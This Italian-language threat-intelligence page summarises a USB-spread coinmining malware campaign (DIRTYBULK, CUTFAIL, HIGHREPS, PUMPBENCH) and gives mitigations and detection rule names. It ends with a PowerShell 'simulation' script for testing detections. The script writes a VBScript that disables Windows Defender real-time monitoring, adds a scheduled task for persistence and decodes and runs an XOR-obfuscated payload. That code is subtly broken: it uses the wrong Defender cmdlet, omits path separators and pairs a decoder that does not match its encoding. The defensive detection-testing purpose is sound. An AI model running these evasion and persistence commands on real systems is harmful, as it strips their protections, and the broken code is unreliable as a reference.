DIRTYBULK e Amici: Malware USB che Alimenta Operazioni di Coinmining
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Il rapporto descrive in dettaglio una campagna di infezione guidata da USB che sfrutta file di scorciatoia dannosi per distribuire una catena di malware a più stadi per il mining di criptovalute. L’esecuzione iniziale carica un DLL chiamato printui.dll da una falsa directory System32, poi passa a un dropper (CUTFAIL), distribuendo ulteriormente un downloader (HIGHREPS) e una backdoor (PUMPBENCH). La backdoor PUMPBENCH comunica con un server PostgreSQL per recuperare payload aggiuntivi e alla fine avvia i miner XMRig. L’operazione mantiene la persistenza attraverso le esclusioni di Windows Defender, attività programmate e servizi rogue.
Analisi
I ricercatori di Mandiant hanno decostruito la kill chain ed evidenziato quattro famiglie principali di malware: DIRTYBULK, CUTFAIL, HIGHREPS e PUMPBENCH. Hanno catturato i modelli di denominazione dei file degli attori, l’abuso del caricamento laterale del DLL printui.dll, le modifiche al registro e gli indicatori di rete associati. L’analisi ha inoltre tracciato tecniche di persistenza, incluse attività programmate e servizi collegati al DCOMLaunch Service Group.
Mitigazione
Le difese raccomandate includono il blocco dell’esecuzione di file di scorciatoia provenienti da supporti rimovibili, il monitoraggio di comandi che aggiungono esclusioni di Windows Defender, il rilevamento di attività sospette di caricamento laterale di printui.dll e la ricerca di servizi o attività programmate che utilizzano nomi casuali a sei cifre. L’applicazione di controlli di rete contro noti domini dannosi e resolver DoH può ulteriormente limitare i canali di comando e controllo.
Risposta
Una volta rilevata, isolare il host coinvolto, rimuovere il DLL dannoso e i componenti correlati, eliminare l’attività programmata offensiva e le voci di servizio, e ripristinare le impostazioni di Windows Defender cancellando le esclusioni. Eseguire una scansione forense completa per scoprire payload residui e tracciare le connessioni all’infrastruttura PostgreSQL C2 identificata. Infine, aggiornare il contenuto di rilevamento per coprire l’uso della riga di comando osservato e i comportamenti di creazione dei file.
Flusso di attacco
Rilevamenti
Conteggio Spazio Anomalo nel Nome del Processo / Riga di Comando / Percorso del File (tramite cmdline)
Visualizza
LOLBAS WScript / CScript (tramite process_creation)
Visualizza
Modifica Sospetta delle Esclusioni di Defender (tramite cmdline)
Visualizza
Possibile Copia e Ridenominazione di Eseguibile di Sistema per Evasione (tramite cmdline)
Visualizza
Disabilita Monitoraggio in Tempo Reale di Windows Defender e Altri Cambiamenti delle Preferenze (tramite cmdline)
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Preliminare di Telemetria e Baseline deve essere superato.
Motivazione: Questa sezione dettaglia l’esatta esecuzione della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare l’esatta telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati condurranno a una diagnosi errata.
-
Narrativa di Attacco & Comandi:
-
Fase 1 – Distribuire il VBScript dannososul drive USB compromesso (es.
E:payload.vbs). Lo script disabilita la protezione in tempo reale di Windows Defender usandoAdd‑MpPreference, crittografa un payload con una routine XOR e crea un’attività programmata per la persistenza. -
Fase 2 – Eseguire lo script tramite
wscript.exepassando direttamente la riga di comando della persistenza (per soddisfare la condizione congiuntiva della regola). -
Fase 3 – Lo script invoca internamente PowerShell per eseguire il payload crittografato, dimostrando la “catena di infezione”.
-
Fase 4 – Dopo l’esecuzione, l’attaccante pulisce gli artefatti(rimuove lo script, elimina l’attività programmata).
-
-
Script di Test di Regressione:
# ------------------------------------------------------------ # Test di Regressione – Simulazione della Catena di Infezione da Malware # ------------------------------------------------------------ $scriptPath = "$env:TEMPpayload.vbs" $taskName = "WinUpdateTask" $xorKey = 0x5A # -- 1. Creare un payload dummy crittografato XOR -------------------------------- $plainPayload = "calc.exe" $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload) for ($i = 0; $i -lt $bytes.Length; $i++) { $bytes[$i] = $bytes[$i] -bxor $xorKey } $encrypted = [Convert]::ToBase64String($bytes) # -- 2. Scrivere VBScript dannoso ------------------------------------------- @" ' Malicious VBScript – infection chain Set sh = CreateObject("WScript.Shell") ' Disable real‑time protection sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True ' Create scheduled task for persistence sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True ' Decrypt and execute payload Dim encData, decData, i encData = "$encrypted" decData = "" For i = 1 To Len(encData) Step 4 ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey) decData = decData & ch Next sh.Run decData, 0, False "@ | Set-Content -Encoding ASCII $scriptPath # -- 3. Execute the script via wscript.exe (triggers the rule) ------------- wscript.exe "$scriptPath" /B # -- 4. (Optional) Wait a few seconds for the task to fire ---------------- Start-Sleep -Seconds 10 # ------------------------------------------------------------ # Cleanup – remove script and scheduled task # ------------------------------------------------------------ Remove-Item $scriptPath -Force schtasks /Delete /TN $taskName /F -
Comandi di Pulizia:
# Rimuovi attività programmata residua (se ancora presente) schtasks /Delete /TN "WinUpdateTask" /F # Rimuovere eventuali file script residui Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue # Riabilitare protezione in tempo reale powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"